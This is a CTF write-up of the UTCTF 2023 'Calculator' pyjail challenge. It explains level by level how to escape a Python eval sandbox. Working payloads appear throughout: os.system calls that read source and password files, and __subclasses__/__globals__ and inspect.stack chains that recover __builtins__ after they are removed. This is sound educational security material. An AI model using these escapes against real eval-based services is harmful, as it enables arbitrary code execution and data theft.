<- back to writeups

# Calculator - UTCTF 2023

March 12, 2023

Writeups for challenges I solved at UTCTF 2023.

Tags: utctf web-exploitation pyjail This past weekend I briefly took a look at a couple challenges from UTCTF 2023. There were a few interesting challenges and I wanted to writeup my solve of one of them. My team, Psi Beta Rho, has been taking a look at pyjail challenges recently and I was excited that I was able to solve one!

## Prompt Visiting the challenge page, we are presented with a simple interface with the title “A Smart Number Guessing Game” where we have to guess the correct number from each level to get a password to reach the next level. After trying a few attempted inputs, the resulting number is truly random and we have no way of guessing the correct number. After attempting an input of `1+1`, I was able to discern that this was potentially a pyjail challenge.

### Level 0

Beginning with the first level, since I discerned that this was a pyjail challenge, I attempted to achieve RCE by inputting a common payload, `__import__('os').system('ls')`. This resulted in the following output:

``````> __import__('os').system('ls')
problem.py
Result: 0.  The correct answer was 3935931108.
``````

The above is a common pyjail one-liner that utilizes Python’s dunder or magic functions to call functions. The above code is equivalent to the following Python code:

``````import os
os.system('ls')
``````

Now that we know that we can execute arbitrary Python code, we can attempt to do further reconnaissance on the system. I attempted to read the contents of the `problem.py` file to see what the code was doing:

``````> __import__('os').system('cat problem.py')
import random
solution = random.getrandbits(32)

if result == solution:
else:
print(f"Result: {result}.  The correct answer was {solution}.")
Result: 0.  The correct answer was 2570371923.
``````

In the above leaked source code, we see the core vulnerability of the user’s input being directly passed into an `eval` allowing the execution of arbitrary code. We can then grab the first password by reading the contents of the `password.txt` file. Submitting this password, we can the progress to the next level.

``````> __import__('os').system('cat password.txt')
PuXqj7n4WNZzStnWbtPvResult: 0.  The correct answer was 2105213148.
``````

``````> password
PuXqj7n4WNZzStnWbtPvResult: 0.  The correct answer was 2105213148.
``````

### Level 1

Trying the same payload as before, we get the following output:

``````> __import__('os').system('cat problem.py')
import random
solution = random.getrandbits(32)

# No locals allowed!

if result == solution:
else:
print(f"Result: {result}.  The correct answer was {solution}.")
Result: 0.  The correct answer was 2758269906.
``````

We notice that `eval` has been restricted so that the `open` function can no longer be used. The solution to the first level still worked so we can still read the contents of the `password.txt` file and move on to the next level.

``````> __import__('os').system('cat password.txt')
Krdi9yQuY8mHoteZDCF5Result: 0.  The correct answer was 4248372865.
``````

### Level 2

Trying the same payload as before, we get the following output:

``````> __import__('os').system('cat problem.py')
import random, os

solution = random.getrandbits(32)

if result == solution:
else:
print(f"Result: {result}.  The correct answer was {solution}.")
Result: 0.  The correct answer was 1887084712.
``````

We notice that there are no longer any restrictions on `eval` like the previous level. However, the `password.txt` file is deleted before we can read it! I ran through a couple of potential ideas to try to recover the password. One idea I potentially had was to look for looking for dangling file descriptors since the `open` function was called before the `close` function was called on the file descriptor. Another idea was that the terminal history might have the password in it. Checking the `/proc/self` directory in `/proc/self/fd` and `/proc/self/cmdline` revealed that the file descriptors were properly closed and the terminal history was not stored. I then realized that the `password` variable was still in scope and could be accessed. After these attempts, I finally came up with the following payload.

``````> __import__('__main__').password
Result: E46Dnqb5enAMgGArbruu.  The correct answer was 877245485.
``````

The `__main__` dunder is the reserved name for the main module which the program is currently running. Importing this module allows us to access the `password` variable in the main module’s scope because Python allows access to variables in the global scope of a module. After accessing this global, we are able to submit this password and move on to the next level.

After talking with some other competitors and the organizers after the CTF was over, I learned that this was actually an unintended solution. The intended solution was to take advantage of the `inspect` module where the `stack` function can be used to access the globals of the calling frame. More explanation will be included in the next part of this writeup.

### Level 3

Starting the level with the same set up payload as before, we get the following error.

``````> __import__('os').system('cat problem.py')
Traceback (most recent call last):
File "problem.py", line 9, in <module>
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
``````

The namespace of the `eval` is now more restrictive to set `__builtins__` to `{}`. Many essential functions such as `__import__` are a part of `__builtins__` so we can no longer use the same payload as before. Luckily, this was something that my team had talked about recently (shoutout to Jason An for sharing this idea at PBR practice)! The goal of this level is to recover `__builtins` so that we can use the same payload as before. The following is the payload that I used to recover the final password!

``````> ().__class__.__base__.__subclasses__()[-25].__init__.__globals__['__builtins__']['__import__']('__main__').password
Result: 5F4p7aLgQ5Nfn5YM8s68.  The correct answer was 425718691.
``````

The first part of the payload, `().__class__.__base__.__subclasses__()`, takes advantage of all of Python’s types being objects. `().__class__` is a tuple which returns `<class 'tuple'>`. The corresponding base class is `<class 'object'>` which is the base class of all Python objects. The `__subclasses__` function returns a list of all the subclasses of the object parent object. For this reason, we are able to recover the list of all the subclasses of the `object` class which contains all modules. A key thing to understand about `cpython`, the main interpreter for Python is that a number of its modules are written in Python, but some of its modules are written in C. Only the modules written in Python have `__globals__` defined on them. For this reason, we need to find a module that is written in Python. Iterating backwards, I worked from index -1 till I found a module at index -25 where `__globals__` was defined. From there, we are able to recover `__builtins__` from the `__globals__` dictionary and we are then able to recover the `__import__` function from the `__builtins__` dictionary. We can then use the same payload as before to recover the password. Inputting the final password, we get the flag! Speaking with the challenge author after the CTF, I learned that the intended solution was to use the `inspect` module. The `stack` function in the `inspect` module returns a list of frame records for the current call stack. The frame records contain the global variables of the calling frame. The following is the intended solution.

``````(lambda b=((lambda n:[c for c in ().__class__.__bases__.__subclasses__() if c.__name__==n])("catch_warnings")()._module.__builtins__):
b["eval"]("""[frame.frame.f_locals.get("password") for frame in __import__("inspect").stack()]""", {"__builtins__": b})
)()
``````

`catch_warnings` is an alternate path to recover `__builtins__`. The main idea of the solution is to call the `stack` function from the `inspect` module. `cpython`’s call stack stores the locals of each frame on the stack. The above script grabs the stack and then traverses every frame on the stack to access locals to get the `password` variable.